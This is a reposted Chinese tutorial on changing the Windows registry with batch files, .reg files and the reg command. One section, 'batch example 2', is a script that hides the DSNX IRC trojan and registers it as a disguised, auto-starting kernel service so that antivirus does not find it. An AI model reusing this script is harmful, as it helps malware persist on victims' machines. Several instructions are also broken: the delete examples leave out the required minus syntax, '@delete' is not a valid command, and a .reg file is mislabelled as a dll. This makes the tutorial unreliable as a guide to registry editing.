【轉】批處理修改注冊表


一,批處理生成.Reg文件操作注冊表 
  用批處理中的重定向符號可以輕松地生成.reg文件。然后用命令執行.reg文件即可! 
  這里,着重要了解.reg文件操作注冊表的方法。 
  首先.reg文件首行必須是:Windows Registry Editor Version 5.00。然后才是操作注冊表的內容。 
  (就和從注冊表中導出的文件格式一致) 

  1,創建子項 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 

  

  在HKEY_LOCAL_MACHINE\SOFTWARE\下創建了一個名字為“TTT”的子項。 

  2,創建一個項目名稱 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"Name"="TTT BLOG" 
"EMail"="taoether@gmail.com" 
"URL"="http://www.taoyoyo.net/ttt/" 
"Type"=dword:02 

  這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type這四個項目 
  Name、Email、URL的類型是“String Value” 
  Type的類型是“DWORD Value” 

  (附:windows注冊表值類型: 
  REG_SZ 字符串值 
  REG_BINARY 二進制值 
  REG_DWORD DWORD值 
  REG_MULTI_SZ 多字符串值 
  REG_EXPAND_SZ 可擴充字符串值) 

  3,修改鍵值 
  修改相對來說比較簡單,只要把你需要修改的項目導出,然后用記事本進行修改,然后導入(regedit /s)即可。就象新建一樣即可。可以一次修改同一子項下的多個項目。 

  4,刪除項目名稱 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"EMail"=

    執行該腳本,"EMail"就被刪除了; 


  5,刪除子項 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
[HKEY_LOCAL_MACHINE\SOFTWARE\DDD] 

    執行該腳本,子項ttt和ddd就已經被刪除了。 


  6,.reg文件執行方法 
  1)直接執行reg文件 
  2)regedit /s *.reg (/s不用確認) 
  3)reg import *.reg 

  7,其實,我們也可以用dll文件代替reg文件。 

  批處理例1: 

@echo off 
echo Windows Registry Editor Version 5.00 >t1.reg 
echo. 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg 
echo "Name"="TTT BLOG" >>t1.reg 
echo "EMail"="taoether@gmail.com" >>t1.reg 
echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg 
echo "Type"=dword:02 >>t1.reg 
regedit /s t1.reg 
del /q t1.reg 
pause 

  

  批處理2:(這個例子是別人的,不是很懂的說~~) 
  我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟 動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例 (名為windrv32.exe) 

@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe 
@regedit /s patch.dll 
@delete patch.dll 
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀,並config為自啟動] 
@REM 這樣不是更安全^_^. 

  

  二,reg命令操作注冊表 

  Reg命令是Windows提供的一下專門操作注冊表的工具。可以方便的查詢,添加,刪除,導入,導出,比較等操作。具體可以參考系統自帶的幫助…… 

REG Operation [參數列表] 
Operation [ QUERY | ADD | DELETE | COPY | 
SAVE | LOAD | UNLOAD | RESTORE | 
COMPARE | EXPORT | IMPORT ] 

  1,查詢所有子項和值 
   

D:\>reg query hklm\software\TTT 
! REG.EXE VERSION 3.0 
HKEY_LOCAL_MACHINE\software\TTT 
Name REG_SZ TTT BLOG 
EMail REG_SZ taoether@gmail.com 
URL REG_SZ http://www.taoyoyo.net/ttt/ 
Type REG_DWORD 0x2 

    2,查詢特定項 

 

D:\>reg query hklm\software\ttt /v url 
! REG.EXE VERSION 3.0 
HKEY_LOCAL_MACHINE\software\ttt 
url REG_SZ http://www.taoyoyo.net/ttt/ 

    這里最難的是如何取得我們想要的字符串呢,困惑了好長時間,終於找到方法了。 

  原來也沒有別的好辦法,只能用find,for循環來截取我們需要的內容。(下面的例子如果看不懂,請參考本博客另外的文章:DOS循環-bat/批處理for命令詳解之二) 
  例如我們要得到url的鍵值: http://www.taoyoyo.net/ttt/,可以用以下腳本: 

@ECHO OFF 
for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k" 
echo TTT BLOG的URL值為:%pURL% 

  

  保存為Test.bat,運行結果如下: 
D:\>test.bat 
TTT BLOG的URL值為:http://www.taoyoyo.net/ttt/ 

  原文出自:http://www.jb51.net/article/30077.htm


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM